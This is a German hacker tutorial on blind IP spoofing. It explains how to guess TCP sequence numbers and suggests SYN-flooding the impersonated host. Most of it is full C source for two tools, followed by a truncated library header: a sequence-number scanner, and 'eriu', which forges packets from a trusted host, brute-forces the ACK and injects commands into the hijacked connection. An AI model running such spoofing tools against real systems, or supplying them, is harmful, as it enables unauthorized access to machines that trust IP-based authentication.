
                                                                                                                                   ----IP-Spoofing----   



1. Einleitung
Wieder mal ein FAQ zu einem sehr interessanten Thema. Leider ist IP-Spoofing recht komplex, dass heisst ihr knnt euch auf einen etwas lngeren Text gefasst machen. 
Ich habe diesen Text hauptschlich deswegen mit in meine "Internet Bible" mit reingenommen, weil ich auf vielen Seiten fr Neulinge schon einigen Schmarn ber IP-Spoofing gelesen 
habe. Ich will hier mal "wirklich" erklren, was IP-Spoofing ist und wie es funktioniert (allerdings bin auch ich bei weitem nicht allwissend..*g*).
Wie ihr schon am Titel gemerkt habt werde ich hier mehr auf die wohl bekannteste Spoofing Art eingehen, IP-Spoofing. (es gibt zum Beispiel auch noch ARP-Spoofing, DNS-Spoofing, 
sie werden vielleicht mal erwhnt). Dieser Text ist in zwei Teile geteilt: "Theorie" und "Praxis". Aber ihr solltet wirklich auch zuvor den Theorieteil lesen, weil ihr sonst beim praktischen 
Teil wohl teilweise nicht mehr mitkommen knntet.

2. THEORIE
Nun ihr knnt euch denken, was hier kommt. In diesem Abschnitt werden ein paar grundlegende, technische, Dinge geklrt, die euch helfen den Praxisteil besser zu verstehen. 
Ihr sollt ja nicht nur Anweisungen ausfhren, sondern auch verstehen, was ihr da tut (das ist eigentlich mein Hauptziel).

2.1 Was ist IP-Spoofing?
Das ist schnell gesagt: Ip-Spoofing bedeutet, die Absenderadresse (also die eigene) zu flschen, oft mit dem Ziel, dadurch dann Zugang zu einem Netzwerk, Server, PC, was auch 
immer bekommen. Dass das nicht ganz so einfach ist, wie seine IP mit nem Proxy zu verbergen, kann ich euch jetzt schonmal versprechen :)
btw: Soweit ich weiss sind Spoofing Attacken schon recht lange (seit ca. Mitte der 80'er) ein gebruchliches Mittel.

2.2 Was kann man mit IP-Spoofing erreichen?
Naja, wie gesagt, meistens versucht der Angreifer dadurch Zugang zu einem Computer zu bekommen, den er mit seiner normalen Adresse als Absender nicht bekommen htte. 
Oft haben auf bestimmte Rechner nur Leute mit einer bestimmten IP/Absenderadresse Zugang, dann ist IP-Spoofing gefragt.

2.3 Wo kann man Ip-Spoofing anwenden?
Mit Spoofing Attacken kann eigentlich fast jedes Betriebssystem angegriffen werden, bei dem ein Zugang von aussen per Netzwerk mglich ist. Meistens richten sie sich aber gegen 
Unix-Systeme, weil diese meistens in dem "Bereich" genutzt werden. Am meisten werden wohl Systeme attackiert, auf denen die sogenannten r-Utilities laufen. Grundstzlich kann man 
sagen, dass jedes System angreifbar ist, dass einen Dienst laufen hat, der die IP-Adresseauthentifizierung verwendet.

2.4 Wie funktioniert IP-Spoofing?
Jetzt werden wir uns die Sache mal etwas genauer ansehen. Diesen Teil solltet ihr unbedingt gelesen haben, bevor ihr es einmal selber versucht, denn einfach irgendein Programm 
runterladen und auf "Spoof" drcken geht hier (leider?) nicht. Eine kleine Anmerkung noch: Die Methode, wie ich sie weitgehend beschreibe, wird auch "Blind Spoofing" genannt. 
Warum werdet ihr spter noch sehen.

Im folgenden Text werde ich immer Abkrzungen benutzen:
Z ist der Ziel-Rechner (zu dem wir Zugang bekommen wollen)
W ist unser PC
S ist der Rechner, als der wir uns ausgeben (dessen IP wir spoofen)

Wie wahrscheindlich die meisten von euch wissen wird eine TCP-Verbindung mit "3-way-handshake" (3-Wege-Hndeschtteln *g*)
hergestellt. Das bedeutet es werden genau 3 Pakete bentigt um eine TCP-Verbindung aufzubauen...

Paket 1: Client ---> Server
          flags: SYN            
          SEQ  : clientnr

Paket 2: Server ---> Client
          flags: SYN, ACK       
          SEQ  : servernr
          ACK  : clientnr+1

Paket 3: Client ---> Server
          flags: ACK
          SEQ  : clientnr+1
          ACK  : servernr+1
           
Erklrung: SYN ---> Das sagt dem Server soviel wie "Ich will mit dir eine Verbindung herstellen"
           ACK ---> Acknowledgement, das heisst soviel wie "Deine Anfrage wurde registriert"
           SEQ ---> Sequenznummer

Sequenznummern werden genutzt, um das Erhalten eines Packets zu besttigen. Im Paket 1 sendet der Client eine Anfrage mit seiner eigenen "Anfangs-Sequenznummer" und noch 
keiner Besttigung, da es ja das erste Paket ist. Im Paket 2 sendet der Server zur Besttigung die Sequenznummer des Clients plus eins und noch dazu seine eigene 
"Anfangs-Sequenznummer". Im Paket 3 antwortet der Client wieder mit der Sequenznummer des Servers plus eins (als Besttigung fr das Erhalten von Paket 2) und seine eigene 
Nummer plus eins.

Nun setzen wir in dieses "Schema" einmal unsere Abkrzungen ein.

Paket 1: S ---> Z           (eigentlich W ---> Z, aber wir spoofen ja die Adresse von S...)
          flags: SYN
          SEQ  : clientnr

Paket 2: Z ---> S
          flags: SYN, ACK
          SEQ  : servernr
          ACK  : clientnr+1

So, bis hierher ist alles ok, aber jetzt sehen wir uns gleich mit mehreren Probleme konfrontiert.

A) Da Z (Ziel-Rechner) ja seine Antwort (Paket 2) an den Absender vom ersten Paket schickt, kommt die Antwort nicht zu uns, sondern zu dem Rechner, dessen IP wir gespooft haben. 
Dieser Rechner weiss aber natrlich nichts davon, dass wir mit seiner IP mit dem anderen Rechner eine Verbindung herstellen wollten. Also, da er ja keine Connection will, sendet ein 
sog. RST (reset) an Z und beendet damit unseren Versuch eine TCP-Verbindung zu Z herzustellen. Was wir dagegen tun mssen ist klar. Wir mssen S dazu bringen nicht auf das Paket 2
 zu antworten. Wie machen wir das? Wir knnten zum Beispiel warten bis S irgendwann einmal offline ist und es dann machen, oder wir benutzen einige DoS-Attacken (Denial of Service).
Das bekannteste Mittel ist eine SYN-Flood Attacke auf den Port, auf dem das ganze (auch bei uns) abluft. Mit einem SYN Flood wird (in unserem Fall) ein bestimmter Port mit Anfragen 
"zugefloodet", bis er keine neuen Anfragen mehr bearbeiten/beanworten kann. Da aber viele neuere Services und Betriebssysteme schon SYN Flood Protections eingebaut haben muss 
man sich unter Umstnden etwas hnliches suchen.

B) Das bei weitem grssere Problem ist, dass das Paket 2 ja (direkt) an S geht. Damit wir aber eine komplette TCP-Verbindung mit Z aufbauen knnen mssen wir ja noch eine 
Antwort (Paket 3) schicken. Diese Antwort muss aber (unter anderem), als Besttigung des Erhalts von Paket 2, die "servernr +1" enthalten. Diese wurde ja vorher von Z mit dem Paket 2 
bermittelt. Da wir aber Paket 2 ja nie zu Gesicht bekommen haben (weil wir ja nicht S sind, sondern nur seine Adresse gespooft haben) knnen wir auch nicht die Sequenznummer des 
Servers wissen. Was nun?
Wir knnten jetzt natrlich raten:

Paket 3: S ---> Z       (eigentlich W ---> Z, aber wir spoofen ja die Adresse von S...)
          flags: SYN, ACK
          SEQ: clientnr+1
          ACK: geratene_servernr+1

Wenn die geratene Sequenznummer richtig ist haben wir seeehr viel Glck gehabt. Das kommt aber vielleicht bei 100000 Versuchen vielleicht einmal vor. Ausserdem merken wir auch gar 
nicht, ob die Verbindung abgebrochen wurde (wegen falscher Sequenznummer) oder nicht.

Eine bekannte Verschlsselungs-Methode, auf ihr die wohl am ehesten treffen knntet, wird "64k-rule" genannt. Beim Rechner-Boot startet sich auch ein Programm, nennen wir es 
einmal Sequenznummer-Zhler. Dieses Programm startet bei 0 und addiert jede Sekunde eine bestimmte Zahl, die immer gleich bleibt (Konstante, meistens 128000). Wenn nun noch 
eine Verbindungsanfrage den Rechner erreicht werden nochmal 64000 dazu gezhlt und das Ergebniss ist die Sequenznummer die dann bermittelt wird.

Ich knnte euch jetzt natrlich alle "Verschlsselungsformen" der Reihe nach aufzhlen, die ich kenne, aber das wird euch wenig helfen, da es bekanntlich bei jedem PC wieder ein kleines 
bisschen anders ist. Falls ein Leser schon Programmiersprachen wie C beherrschen sollte, kann ich ihm/ihr nur empfehlen sich einfach mal den entsprechenden Source Code des 
Betriebssystems/Services anzusehen. So kann man schon das meisten herausfinden. Jetzt werden natrlich viele sagen: "Ich kann aber kein C!". Hier die Alternative fr "Nicht-Coder". :)

Ihr nehmt ein Programm (Source Code dazu weiter unten), dass euch den "Source" der eingehenden Pakete anzeigt. Nun baut ihr (entweder gleich ber dieses Programm, oder manuell) 
mehrere Male eine Verbindung zu dem Ziel-Rechner auf. Nicht mit gespoofter Absenderadresse, sondern ganz normal, so dass euch die Antworten auch erreichen. Nun seht ihr euch die 
Sequenznummern der Pakete an und versucht irgendwie ein System darin zu erkennen. Wenn ihr das geschafft habt, habt ihr den schwierigsten Teil gemeistert.

Wenn wir nun "drin" sind (d.h. eine Verbindung haben) knnen wir dem Rechner nun unsere Befehle schicken. Wir wissen zwar nicht, was der Rechner dann immer antwortet, aber das 
muss uns nicht stren. Warum? Nun, der Rechner antwortet uns und wartet dann auf eine Besttigung von uns, dass wir seine Antwort bekommen haben. Kommt die in einer 
bestimmten Zeitspanne nicht sendet er uns seine Antwort nochmal. Kommt wieder nichts von uns schickt er uns zwar dann keine Antworten mehr, aber er akzeptiert immer noch unsere 
Pakete/Befehle.

2.5 hnliche Mglichkeiten
Es gibt ein paar hnliche Mglichkeiten des IP-Spoofings, wie gerade eben beschrieben. Eine davon nennt sich "Source Routing". Dies ist eine Funktion, die das Ip-Protokoll "enthlt". 
Man kann als Absender in das Paket eine ganze Route angeben ber die das Paket zum Ziel laufen soll. Diese bernimmt dann der Ziel-Rechner und schickt seine Antwort ber diese 
Route. Wenn wir jetzt in dieser Route unsere IP vor der des gespooften Rechners eintragen erreichen uns die Antworten des Ziel-Rechners genauso, wie den gespooften Rechner. 
Dann entfllt das Sequenznummerraten. Allerdings kommt es nicht sehr oft vor, dass man diese Methode anwenden kann, weil fast alle Systeme Source Routed IP Pakete nicht annehmen.

3. PRAXIS
Hier nun der zweite Teil dieses Textes. Da ich allerdings fast alles im Theorieteil schon sehr genau erklrt habe werde ich diesen Teil nicht gross ausformulieren. Er wird vielmehr zu einem 
Grossteil aus ntzlichen Source Codes bestehen...

3.1 Seq-scan.c
Mit diesem Programm kann man die Sequenznummer(n) analysieren, die das Ziel in seinen Paketen hat.
--- Source Anfang ---
/**************************************************************************/
/*  SEQ-scan - Example program for scanning SEQ-nr generators             */
/*             (illustration for 'A short overview of IP spoofing')       */
/*                                                                        */
/*  Purpose - Gaining information about the targets SEQ-nr generator      */
/*                                                                        */
/*  Author - Brecht Claerhout <Coder@reptile.rug.ac.be>                   */
/*           Serious advice, comments, statements, greets, always welcome */
/*           flames, moronic 3l33t >/dev/null                             */
/*                                                                        */
/*  Disclaimer - This program is for educational purposes only. I am in   */
/*               NO way responsible for what you do with this program,    */
/*               or any damage you or this program causes.                */
/*                                                                        */
/*  For whom - People with a little knowledge of TCP/IP, C source code    */
/*             and general UNIX. Otherwise, please keep your hands of,    */
/*             and catch up on those things first.                        */
/*                                                                        */
/*  Limited to - Linux 1.3.X or higher.                                   */
/*               Watch the devices! default is 'eth0' you might have to   */
/*               change that. Read the code...                            */
/*                                                                        */
/*  Compiling - gcc -o SEQ-scan SEQ-scan.c -lm                            */
/*                                                                        */
/*  Usage - Usage described in the spoofing article that came with this.  */
/*          If you didn't get this, try to get the full release...        */
/*                                                                        */
/*  See also - Sniffit (for getting the necessairy data on a connection)  */
/**************************************************************************/

#include "spoofit_v3.h"
#include <math.h>
#include <sys/time.h>

/*** Network device info, you could have to change this ***/
#define INTERFACE	"eth0"
#define INTERFACE_PREFIX 14
/*
#define INTERFACE	"ppp0"
#define INTERFACE_PREFIX 0
*/

#define MAXSEQ		10                                 /* array length*/
#define STARTSEQ	0x9E2CF343     /* You might want a personal touch */
#define STARTPORT       10666           /* You might want a personal touch */

char SOURCE[200];                              /* required hostinformation */
char TARGET[200];
int TARGET_P;

int fd_receive, fd_send;                                /* Kinda selfexpl. */
unsigned long SEQ_list[MAXSEQ];
unsigned long diff_seq[MAXSEQ];
struct timeval time_list[MAXSEQ];
struct timeval time_diff[MAXSEQ];
double time_diff_usec[MAXSEQ];
double incr_per_usec[MAXSEQ];
double incr_per_usec2[MAXSEQ];

char VERBOSE=0, DO_ALL=0;                                       /* Options */
int COUNT=MAXSEQ;                  /* I leave you all freedom for adjusting*/

int get_seq_nrs(unsigned long *, int, int );
void get_numbers(void);
int easy_64k_rule(void);
void simple_time_relation (void);
void rm_minmax(double *, double *, int);
void timeval_substract (struct timeval *,struct timeval *,struct timeval *);

void quit(char *progname)
{
printf("usage: %s <args> [options]\n", progname);
printf("required <args> are:\n");
printf("  -t <target>  host you want to scan\n");
printf("  -p <port>    port you want to use for scanning\n");
printf("[options] are:\n");
printf("  -v           verbose\n");
printf("  -a           do all tests\n");
exit(1);
}

int main(int argc, char *argv[])
{
int i,c;
char required=0;
extern char *optarg;

while((c=getopt(argc, argv,"s:t:p:va"))!=-1)
  {
  switch(c)
	{
        case 'v': printf("Verbose mode on...\n"); VERBOSE=1;    /* VERBOSE */
                  break;
	case 'p': TARGET_P=atoi(optarg); required |=2; break;
        case 't': strcpy(TARGET,optarg); required |=1; break;
	case 'a': DO_ALL=1; break;
	default : quit(argv[0]); break;
	};
  }
SOURCE[199]=0;
if(gethostname(SOURCE,199)<0)
  {fprintf(stderr,
               "Error: Couldn't determine host name... what's happening??");}
if(required != 3)
        {quit(argv[0]);}

DEV_PREFIX = INTERFACE_PREFIX;

get_numbers();                                           /* get some data  */
if((easy_64k_rule()==1)&&(!DO_ALL))                   /* 64K rule checking */
  exit(0);
simple_time_relation();                                 /* Simple relation */
}

/*** NUMBER CRUNCHING ;) ***************************************************/

int easy_64k_rule(void)
{
int i, seq_vuln=0;

if(VERBOSE)
    {printf("*** 64K rule checking\n");}
for(i=1;i<COUNT;i++)
  {
  diff_seq[0]=SEQ_list[i]-SEQ_list[i-1];
  if(VERBOSE)
    {printf("SEQ. difference: %lu\n",diff_seq[0]);}
  if(diff_seq[0]%64000 == 0)
    seq_vuln++;
  }
if(seq_vuln>2)                                 /* allow some errors */
  {printf("%s vulnerable! (64K rule)\n",TARGET); return 1;}
else
  {printf("%s checked. (64K rule)\n",TARGET); return 0;}
diff_seq[0]=0;
}

void simple_time_relation (void)
{
int i;
unsigned long diff_average[2];
double incr_err, incr_err2;
double incr_avr, incr_avr2;
double time_avr;

if(VERBOSE)
    {printf("*** Simple relation checking\n");}

time_avr=incr_avr=0;
for(i=1;i<COUNT;i++)                                  /* time calculations */
  {
  timeval_substract (&(time_diff[i-1]), &(time_list[i]),&(time_list[i-1]));
  diff_seq[i-1]=SEQ_list[i]-SEQ_list[i-1];
  time_diff_usec[i-1] = 1000000*((double)(time_diff[i-1].tv_sec)) +
                        (double)(time_diff[i-1].tv_usec) ;
  incr_per_usec[i-1]=(double)(diff_seq[i-1])/time_diff_usec[i-1];
  if(VERBOSE)
     {printf("TIME diff: %f(us)   SEQ diff: %lu    incr: %f (1/us)\n",
		      time_diff_usec[i-1],diff_seq[i-1], incr_per_usec[i-1]);}
  time_avr += time_diff_usec[i-1];
  incr_avr += incr_per_usec[i-1];
  }
time_avr /= (COUNT-1);
incr_avr /= (COUNT-1);
if(VERBOSE)
  {printf("TIME avr: %f(us)   incr avr: %f (1/us)\n",time_avr, incr_avr);}

incr_err=0;
for(i=1;i<COUNT;i++)
  {incr_err+=(incr_avr - incr_per_usec[i-1])*(incr_avr - incr_per_usec[i-1]);}
incr_err = sqrt(incr_err);
if(VERBOSE)
  {printf("QUAD ERR: %f\n",incr_err);}

if(VERBOSE)
  {printf("Removing 2 extreme values...\n");}
rm_minmax(incr_per_usec2, incr_per_usec, COUNT-1);
incr_err2=incr_avr2=0;
for(i=1;i<(COUNT-2);i++)
  {incr_avr2+=incr_per_usec2[i-1];}
incr_avr2 /= (COUNT-3);

for(i=1;i<(COUNT-2);i++)
  {incr_err2+=(incr_avr - incr_per_usec2[i-1])*
                                            (incr_avr -incr_per_usec2[i-1]);}
incr_err2 = sqrt(incr_err2);

if(VERBOSE)
  {printf("QUAD ERR2: %f\n",incr_err2);}

/* Reporting */
if((incr_err<10)||(incr_err2<10))
  {printf("%s time relation found. (err: %f)\n",TARGET,
				(incr_err<10) ? incr_err : incr_err2);
  return;
  };
printf("%s checked. (time rel. err: %f and %f)\n",TARGET,incr_err,incr_err2);
}

/* remove minimum and maximum from a list */
void rm_minmax(double *newlist, double *oldlist, int len)
{
int i, j=0, rm_max=0, rm_min=0;
double hlp_max, hlp_min;

hlp_min=hlp_max=oldlist[0];
for(i=1;i<len;i++)
  {
  if(hlp_min>oldlist[i])
    {hlp_min=oldlist[i]; rm_min=i;}
  if(hlp_max<oldlist[i])
    {hlp_max=oldlist[i]; rm_max=i;}
  }

for(i=0;i<len;i++)
  {
  if((i!=rm_min)&&(i!=rm_max))
    {newlist[j]=oldlist[i]; j++;}
  }
}

/* time substraction, time x - time y */
void timeval_substract (result,x,y)
        struct timeval *result, *x, *y;
{
long hlp_usec;

result->tv_sec = x->tv_sec - y->tv_sec;
if(y->tv_usec > x->tv_usec)
  {
  (result->tv_sec)--;
  hlp_usec = 1000000 - y->tv_usec;
  result->tv_usec = x->tv_usec + hlp_usec;
  }
else
  {
  result->tv_usec = x->tv_usec -  y->tv_usec;
  };
}

/*** NETWORKING PART *******************************************************/
void get_numbers(void)                                 /* get some SEQ-nrs */
{
fd_send = open_sending();
fd_receive = open_receiving(INTERFACE, IO_NONBLOCK);

if(get_seq_nrs(SEQ_list, COUNT, 0)<0)
  {printf("%s time out. (SEQ scanning)\n",TARGET); exit(1);};
}

int get_seq_nrs(unsigned long *list_seq, int packs, int sec_delay)
{
int i, stat;
int tcpstart;
char proto;
short port;
char buffer[1500];
struct IP_header *iphead;
struct TCP_header *tcphead;
struct sp_wait_packet pinfo;

port=STARTPORT;
for(i=0;i<packs;i++)
  {
  sleep(sec_delay);
  port++;
  transmit_TCP(fd_send, NULL, 0,0,0, SOURCE, port, TARGET, TARGET_P,
	 			     	                  STARTSEQ+i,0, SYN);
  stat=wait_packet(fd_receive,&pinfo,TARGET,TARGET_P,SOURCE,port,SYN,20);
  gettimeofday(&(time_list[i]),NULL);
  if(stat<0)
	{return -1;}
  else  {list_seq[i]=pinfo.seq;
         if(pinfo.seq==0)
           {printf("\nThis port doesn't accept connections...\n");exit(1);}
        };
  }
/* RESET auto, because our host sends RESET    */
return 0;
}
--- Source Ende ---

3.2 eriu.c
Dieses Tool ist dafr gedacht, eine "Blind-Spoofing-Attacke" durchzufhren.
--- Source Anfang ---
/**************************************************************************/
/*  Eriu - Blind spoofing utility                                         */
/*         (illustration for 'A short overview of IP spoofing')           */
/*                                                                        */
/*  Purpose - demonstration of spoofing attacks                           */
/*                                                                        */
/*  Author - Brecht Claerhout <Coder@reptile.rug.ac.be>                   */
/*           Serious advice, comments, statements, greets, always welcome */
/*           flames, moronic 3l33t >/dev/null                             */
/*                                                                        */
/*  Disclaimer - This program is for educational purposes only. I am in   */
/*               NO way responsible for what you do with this program,    */
/*               or any damage you or this program causes.                */
/*                                                                        */
/*  For whom - People with a little knowledge of TCP/IP, C source code    */
/*             and general UNIX. Otherwise, please keep your hands of,    */
/*             and catch up on those things first.                        */
/*                                                                        */
/*  Limited to - Linux 1.3.X or higher.                                   */
/*               Watch the devices! default is 'eth0' you might have to   */
/*               change that. Read the code...                            */
/*                                                                        */
/*  Compiling - gcc -o eriu eriu.c                                        */
/*                                                                        */
/*  Usage - Usage described in the spoofing article that came with this.  */
/*          If you didn't get this, try to get the full release...        */
/*                                                                        */
/*  See also - Sniffit (for getting the necessairy data on a connection)  */
/**************************************************************************/
#include "spoofit_v3.h"

/*** Network device info, you could have to change this ***/
#define INTERFACE	"eth0"
#define INTERFACE_PREFIX 14
/*
#define INTERFACE	"ppp0"
#define INTERFACE_PREFIX 0
*/

#define VERSION "0.1"

#define TIMEOUT		20	                /* packet receive timeout */
#define SCANCOUNT	5	      /* packets send during initial scan */
                                      /* Should be 5 or bigger            */
#define SCANSEQ		0x3E65F666        /* SEQ number used for scanning */
#define SPOOFSEQ	0x223EE666           /* SEQ number used for spoof */

char DEBUG=0;
char SRC[200], TGT[200], ME[200];
unsigned short SRC_P, TGT_P, SCANTGT_P=23;
unsigned short my_p=6666;     /* need to count ports on to avoid problems */

int fd_send, fd_receive;

void eriu(void)
{
printf("Eriu -- Version %s  (by Brecht Claerhout",VERSION);
printf(" <coder@reptile.rug.ac.be>)\n");
}

void quit (char *name)
{
printf("usage: %s <arguments>\n",name);
printf("Arguments are:\n");
printf("  -s host:port  Spoofed Host (required)\n");
printf("  -t host:port  Target Host (required)\n");
printf("  -f filename   Packet contence commandfile");
printf(" (required, except with '-P')\n");
printf("  -p port       Source Port used for scanning (default 23)\n");
printf("  -c count      Number of guesses to make");
printf(" (default 64k:20 other:500)\n");
printf("  -o offset     Extra offset to add to guessed ACK\n");
printf("  -d delay      Seconds of delay between parts of the attack");
printf(" (default:1)\n");
printf("  -P            Probe for guessing range\n");
printf("  -F            Enter the ACK guess y'rself");
printf(" (test/practice purposes)\n");
exit(1);
}

char *get_local (void)  /* get y'r own hostname */
{
char hlp[200];

hlp[199]=0;
if(gethostname(hlp,199)<0)
  {fprintf(stderr,"\nError: Couldn't determine host name...\n");
   exit(1);}
strcpy(ME,hlp);
return ME;
}

main(int argc, char *argv[])
{
unsigned long i,j;
int stop=0, FORCE=0;
int is_64k=0, countstep=1,buf_pos;
unsigned long count=0;
unsigned char buffer[1500];
unsigned char hlp[200], *hlp2;
unsigned char cmdfile[200];                        /* name of commandfile */
char c, required=0;
unsigned long SEQ_list[SCANCOUNT];                      /*list of SEQ nrs */
unsigned long ACK_avrg, ACK_guess, ACK_spoof, ACK_start;
unsigned long SEQ_spoof;
long ACK_offset=0;                           /* extra ACK offset (signed) */
FILE *cmd;
struct sp_wait_packet pinfo;                               /* For probing */
int stat;
int sec_delay=1;                                         /* delay setting */

eriu();                                   /* give meaning to this program */

while((c=getopt(argc, argv,"s:t:p:c:D:f:FPd:o:"))!=-1)
  {
  hlp[199]=0;
  switch(c)
	{
        case 's':
           strncpy(hlp,optarg,199);
           if((hlp2=(unsigned char *)strtok(hlp,":"))==NULL) quit(argv[0]);
           strcpy(SRC,hlp2);
           if((hlp2=(unsigned char *)strtok(NULL,":"))==NULL) quit(argv[0]);
           SRC_P=atoi(hlp2);
           required |=1;
           break;
        case 't':
           strncpy(hlp,optarg,199);
           if((hlp2=(unsigned char *)strtok(hlp,":"))==NULL) quit(argv[0]);
           strcpy(TGT,hlp2);
           if((hlp2=(unsigned char *)strtok(NULL,":"))==NULL) quit(argv[0]);
           TGT_P=atoi(hlp2);
           required |=2;
           break;
        case 'f':
           strncpy(cmdfile,optarg,199);
           required |=4;
           break;
        case 'p':
           SCANTGT_P=atoi(optarg);
           break;
        case 'c':
           count=atol(optarg);
           break;
        case 'D':
           if(strcmp(optarg,"DEBUG")!=0) quit(argv[0]);
           DEBUG=1;
           break;
        case 'F':
           FORCE=1; /* test purpose */
           break;
        case 'P':
           FORCE=2; /* Probe */
           break;
        case 'd':
           sec_delay=atoi(optarg);
           break;
        case 'o':
           ACK_offset=atol(optarg);
           break;
        default :
           quit(argv[0]);
           break;
	};
  }
if( (((FORCE&2)==0)&&(required!=7))||(((FORCE&2)==2)&&(required != 3)) )
        {quit(argv[0]);}
DEV_PREFIX = INTERFACE_PREFIX;

printf("Checking permissions... ");                  /* rootpermissions ? */
if((getuid()!=0)&&(geteuid()!=0))
  {printf("NO ROOT\n"); exit(1);}
fd_send = open_sending();                            /* open some sockets */
fd_receive = open_receiving(INTERFACE, IO_NONBLOCK);
printf("OK\n");

printf("Opening command file... ");      /* see if there is a commandfile */
if(FORCE!=2)
  {
  if((cmd=fopen(cmdfile,"r"))==NULL)
    {printf("FIALED\n"); perror("ERROR"); exit(1);}
  printf("OK\n");
  }
else
  {printf("SKIPPED\n");}

printf("Determining local IP adress... %s\n",get_local());
printf("Trying to determine if Target System is 64K ruler...\n");
printf("   Probing Target System... "); fflush(stdout);
if(FORCE!=1)
  {
  if(get_seq_nrs(SEQ_list,SCANCOUNT,0)<0)
    {fprintf(stderr,"\nError: Packet timed out, giving up...\n"); exit(1);}
 j=0;
  for(i=0;i<SCANCOUNT;i++)
    if( SEQ_list[i]==0 )
      j++;
  if(j>=SCANCOUNT-1)
    {printf("FAILED\nAccess denied on scan port...\n"); exit(1);}
  printf("OK\n");

  j=0;
  for(i=1;i<SCANCOUNT;i++)
    if( ((SEQ_list[i]-SEQ_list[i-1])%64000)==0 )
      j++;
  if(j>=(SCANCOUNT/2))
    {printf("   Target System is 64k ruler...\n");
     countstep=64000; is_64k=1;}

  if(count==0)             /* Set number of packets to complete handshake */
    {if(is_64k==1) count=20;
     else count=500;}
  }
else /* skip if Forcing ACK */
  {printf("SKIPPED\n");
   if(count==0) count=1;};

sleep(sec_delay);                                        /* wait a second */
SEQ_spoof=SPOOFSEQ;
printf("Probing Target system for attack... "); fflush(stdout);
if(FORCE!=1)
  {
  if(is_64k==1)
    {
    if(get_seq_nrs(SEQ_list,2,0)<0) /* one to wake up */
      {fprintf(stderr,"\nError: Packet timed out, giving up...\n");
       exit(1);}
    ACK_guess=SEQ_list[1]+64000;
    }
  else
    {
    if(get_seq_nrs(SEQ_list,5,0)<0) /* one to wake up */
      {fprintf(stderr,"\nError: Packet timed out, giving up...\n");
       exit(1);}
    ACK_avrg=(SEQ_list[4]-SEQ_list[1])/3;
    ACK_guess=SEQ_list[4]+ACK_avrg;
    }
  ACK_guess++; /* one bigger then the SEQ generated */
  ACK_guess+=ACK_offset;
  printf("OK\n");
  }
else /* for force */
  {
  printf("SKIPPED\n");
  }

if(FORCE!=2)
  transmit_TCP(fd_send, NULL,0,0,0,SRC, SRC_P, TGT, TGT_P,
                                                          SEQ_spoof,0, SYN);
else                                                       /* for probing */
  {
  transmit_TCP(fd_send, NULL,0,0,0,ME, SRC_P, TGT, TGT_P, SEQ_spoof,0, SYN);
  stat=wait_packet(fd_receive,&pinfo,TGT,TGT_P,ME,SRC_P,SYN|ACK,TIMEOUT);
  if(stat<0)
    {fprintf(stderr,"\nError: Packet timed out, giving up...\n"); exit(1);}
  ACK_spoof=pinfo.seq+1; /* autoreset by our host */
  printf("Guessed ACK: %X  Probed ACK: %X\n",ACK_guess,ACK_spoof);
  printf("Difference: %X (or decimal: %lu)\n",
                      labs(ACK_spoof-ACK_guess), labs(ACK_spoof-ACK_guess));
  exit(0);
  }
SEQ_spoof++;
printf("SYN packet fired...\n");

if(FORCE!=0)                                                /* Force mode */
  { printf("Give ACK to force (hex): "); fflush(stdout);
  scanf("%lx",&ACK_guess);}
printf("Guessed ACK: %X\n",ACK_guess);

sleep(sec_delay);                                             /* Guesses */
printf("Sending guessed ACK's... "); fflush(stdout);
j=count/2;
ACK_start=ACK_guess-(j*countstep);
for(i=0;i<count;i++)
  {
  ACK_spoof=ACK_guess+((i-j)*countstep);
  transmit_TCP(fd_send, NULL,0,0,0,SRC,SRC_P,TGT,TGT_P,SEQ_spoof,
                                                             ACK_spoof,ACK);
  }
printf("DONE\nConnection hopefully established...\n");

sleep(sec_delay);
printf("Executing command file...\n");

buf_pos=0;
hlp[3]=0;
while(stop==0)
  {
  hlp[0]=getc(cmd);
  if(feof(cmd)!=0)  {hlp[0]=10; stop=1;}   /* if there is no enter on the */
                                           /* last line                   */
  switch(hlp[0])
    {
    case '\\':
      hlp[0]=getc(cmd); hlp[1]=getc(cmd); hlp[2]=getc(cmd);
      if((hlp[0]=='a')||(hlp[0]=='A'))
	 {
         hlp[0]='0';
         ACK_start+=atoi(hlp);
         /* printf("[ACK %u]",(unsigned char)atoi(hlp));fflush(stdout); */
         }
      else
         {
         buffer[buf_pos]=(unsigned char)atoi(hlp);
         buf_pos++;
         /* printf("[%u]",(unsigned char)atoi(hlp));fflush(stdout); */
         }
      break;
    case 10:
      if(buf_pos==0)
        {
        printf("Firing packet (ACK)... ");
        transmit_TCP(fd_send, NULL,0,0,0,SRC,SRC_P,TGT,TGT_P,
                                               SEQ_spoof,ACK_start,ACK);
        printf("DONE\n");
        break;
        }
      printf("Firing packet (DATA)... ");
      transmit_TCP(fd_send, buffer,0,0,buf_pos,SRC,SRC_P,TGT,TGT_P,
                                               SEQ_spoof,ACK_start,PSH|ACK);
      SEQ_spoof+=buf_pos;
      buf_pos=0;
      printf("DONE\n");
      sleep(sec_delay);
      break;
    default:
      buffer[buf_pos]=hlp[0];
      buf_pos++;
      /* printf("%c",hlp[0]);fflush(stdout); */
      break;
    }
  }

sleep(sec_delay);            /* We are nice ppl, we close our connections */
printf("Cleaning up (RST)...\n");
transmit_TCP(fd_send, NULL,0,0,0,SRC,SRC_P,TGT,TGT_P, SEQ_spoof,
                                                             ACK_start,RST);
fclose(cmd);
close(fd_send);
close(fd_receive);
}

/* getting a list of SEQ-nrs from the target */
int get_seq_nrs(unsigned long *seqlist, int nr_of_packs, int sec_delay)
{
int i, stat;
char buffer[1500];
struct IP_header *iphead;
struct TCP_header *tcphead;
struct sp_wait_packet pinfo;

for(i=0;i<nr_of_packs;i++)
  {
  sleep(sec_delay);
  my_p+=69;
  transmit_TCP(fd_send, NULL, 0,0,0, ME, my_p, TGT, SCANTGT_P,
					        SCANSEQ+(i*69),0, SYN);
  stat=wait_packet(fd_receive,&pinfo,TGT,SCANTGT_P,ME,my_p,SYN|ACK,TIMEOUT);
  if(stat<0)
	{return -1;}
  else  {seqlist[i]=pinfo.seq;
         if(pinfo.seq==0)
           {printf("\nThis port doesn't accept connections...\n");exit(1);}
         if(DEBUG!=0) printf("%X\n",pinfo.seq);};
  }
/* RESET auto, because our host sends RESET    */
return 0;
}
--- Source Ende ---

3.3 spoofit_v3.h
Diese Library wird bentigt...
--- Source Anfang ---
/**************************************************************************/
/* Spoofit.h - Include file for easy creating of spoofed TCP packets      */
/*             Requires LINUX 1.3.x (or later) Kernel                     */
/*             (illustration for 'A short overview of IP spoofing')       */
/*             V.3 - Copyright 1997 - Brecht Claerhout                    */
/*                                                                        */
/*  Purpose - Providing skilled people with a easy to use spoofing source */
